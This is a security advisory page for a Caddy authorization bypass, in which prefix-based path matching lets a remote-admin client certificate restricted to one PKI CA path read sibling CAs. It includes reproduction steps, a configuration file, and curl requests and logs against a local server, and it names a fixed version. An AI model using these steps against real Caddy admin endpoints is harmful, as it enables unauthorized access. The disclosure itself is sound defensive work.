Skip to content
Fencer Intel
medium 4.3

GHSA-gx7w-56w6-g48x json

Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching

published 5mo ago modified 3mo ago also GO-2026-5408

cvss
4.3
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

## AI Disclosure

I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`.

## Summary

Caddy's remote admin access control performs path authorization using prefix matching:

- [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)`

This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`.

This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.

## Affected Component

Remote admin access control for PKI admin endpoints.

Relevant code:

- [`admin.go`](/caddy/admin.go#L687) - [`admin.go`](/caddy/admin.go#L719) - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68) - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164)

## Root Cause

In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this:

```go for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } } ```

This does not enforce a path-segment boundary.

So if the allowed path is:

/pki/ca/prod

then all of the following are treated as authorized:

- /pki/ca/prod-backup - /pki/ca/prod1 - /pki/ca/prodanything

For PKI admin endpoints, the CA ID is taken directly from the request path:

- modules/caddypki/adminapi.go:164

So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.

## Security Impact

A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.

This breaks least-privilege remote admin policies and results in authenticated authorization bypass.

## Minimal Configuration

File: repro.json ``` { "admin": { "listen": "127.0.0.1:2019", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2021", "access_control": [ { "public_keys": ["<CLIENT_CERT_BASE64_DER>"], "permissions": [ { "methods": ["GET"], "paths": ["/pki/ca/prod"] } ] } ] } }, "apps": { "pki": { "certificate_authorities": { "prod": { "name": "prod" }, "prod-backup": { "name": "prod-backup" } } } } }

``` ## Reproduction Steps From Scratch

### 1. Generate a client certificate ``` openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt

```

### 2. Convert the client certificate to base64 DER

CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

### 3. Put that value into repro.json

Replace:

<CLIENT_CERT_BASE64_DER>

with the value of CLIENT_CERT_B64.

### 4. Run Caddy

go run ./cmd/caddy run --config ./repro.json

### 5. Confirm access to the intended allowed path ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod ``` Expected result:

- HTTP/1.1 200 OK

### 6. Request a different CA whose path shares the same prefix ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup ``` Expected secure behavior:

- HTTP/1.1 403 Forbidden

Actual behavior:

- HTTP/1.1 200 OK

## Precise HTTP Requests and Output

### Allowed path ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod ``` Response excerpt: ``` > GET /pki/ca/prod HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json ``` ### Unauthorized sibling path that is incorrectly allowed ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup ``` Response excerpt: ``` > GET /pki/ca/prod-backup HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json ``` The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.

## Full Log Output

sever : ``` root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json 2026/03/19 13:58:13.747 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/19 13:58:13.747 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/19 13:58:13.747 INFO using config from file {"file": "/caddy/repro.json"} 2026/03/19 13:58:13.757 INFO admin admin endpoint started {"address": "127.0.0.1:2019", "enforce_origin": false, "origins": ["//localhost:2019", "//[::1]:2019", "//127.0.0.1:2019"]} 2026/03/19 13:58:13.757 WARN pki.ca.prod installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod/root.crt"} 2026/03/19 13:58:13.757 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again 2026/03/19 13:58:13.757 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:14.406 INFO certificate installed properly in linux trusts 2026/03/19 13:58:14.406 WARN pki.ca.prod-backup installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod-backup/root.crt"} 2026/03/19 13:58:14.407 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again 2026/03/19 13:58:14.407 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:15.038 INFO certificate installed properly in linux trusts 2026/03/19 13:58:15.045 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0006a4480"} 2026/03/19 13:58:15.046 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2021"} 2026/03/19 13:58:15.046 INFO admin.identity.obtain acquiring lock {"identifier": "localhost"} 2026/03/19 13:58:15.046 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/19 13:58:15.046 INFO serving initial configuration 2026/03/19 13:58:15.047 INFO admin.identity.obtain lock acquired {"identifier": "localhost"} 2026/03/19 13:58:15.047 INFO admin.identity.obtain obtaining certificate {"identifier": "localhost"} 2026/03/19 13:58:15.049 INFO admin.identity.obtain certificate obtained successfully {"identifier": "localhost", "issuer": "local"} 2026/03/19 13:58:15.049 INFO admin.identity.obtain releasing lock {"identifier": "localhost"} 2026/03/19 13:58:15.050 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/19 13:59:36.896 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod", "remote_ip": "127.0.0.1", "remote_port": "40728", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/19 14:00:24.102 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "60490", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/19 14:00:33.774 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "46918", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} ```

curl : ``` root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod * Added localhost:2021:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2021... * Connected to localhost (127.0.0.1) port 2021 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 13:58:15 2026 GMT * expire date: Mar 20 01:58:15 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /pki/ca/prod HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Date: Thu, 19 Mar 2026 13:59:36 GMT < Content-Length: 1410 < {"id":"prod","name":"prod","root_common_name":"prod - 2026 ECC Root","intermediate_common_name":"prod - ECC Intermediate","root_certificate":"-----BEGIN CERTIFICATE-----\nMIIBgDCCASegAwIBAgIQc9RlUm1dn8xVrPjKdqtb/TAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0z\nNjAxMjYxMzU4MTNaMB8xHTAbBgNVBAMTFHByb2QgLSAyMDI2IEVDQyBSb290MFkw\nEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEC+L/zt5e1B08ebSd//MN2zkPZPIIe/8d\nAfdvLfaLpKXEDHdpMUkv+B1ZfJ5ADCKGHby7hMcOmNxd3dN2so2TvaNFMEMwDgYD\nVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFEjO3f/T\ngS+YsLBLu5qoAfzrButkMAoGCCqGSM49BAMCA0cAMEQCIFph9BmyT0EuWH+5FWaJ\nVI0RoHaSNe4YmKhCT0bxlOV/AiAVYjtkncsfNxnIoVtcRWebiKfX4neEAvp6zy/m\n4LabLA==\n-----END CERTIFICATE-----\n","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nMIIBpjCCAUugAwIBAgIQeDYa6T6mhf1UR2ZojWa/NjAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0y\nNjAzMjYxMzU4MTNaMCIxIDAeBgNVBAMTF3Byb2QgLSBFQ0MgSW50ZXJtZWRpYXRl\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQc* Connection #0 to host localhost left intact DQgAEDvNEubxYmGliE/jZf+scF4ln9FGi\nKxGlIBy91xltHw85PZFoPUNYoXZc797RNE89XfPLNzcTmcQ36zAfibXkBaNmMGQw\nDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFORU\nKtaSzBJ30Yh6xLKBlF3NkXwyMB8GA1UdIwQYMBaAFEjO3f/TgS+YsLBLu5qoAfzr\nButkMAoGCCqGSM49BAMCA0kAMEYCIQCPsqN6 curl -vk \2CdQNYGrH10qYPhO\nMx19KoL/bQIhANyK3kmXwiQ2p6jEuVTIDxLJ1nC6JCDKWoSCXv/m+00Y\n-----END CERTIFICATE-----\n"}

root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod-backup * Added localhost:2021:127.0.0.1 to DNS c…

Patch / fix

  • go github.com/caddyserver/caddy/v2 2.11.3

Is GHSA-gx7w-56w6-g48x in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
GitHub 3.1 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Affected packages

ecosystem package affected fixed in
go github.com/caddyserver/caddy/v2
<2.11.3
2.11.3

Classification

Weakness

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.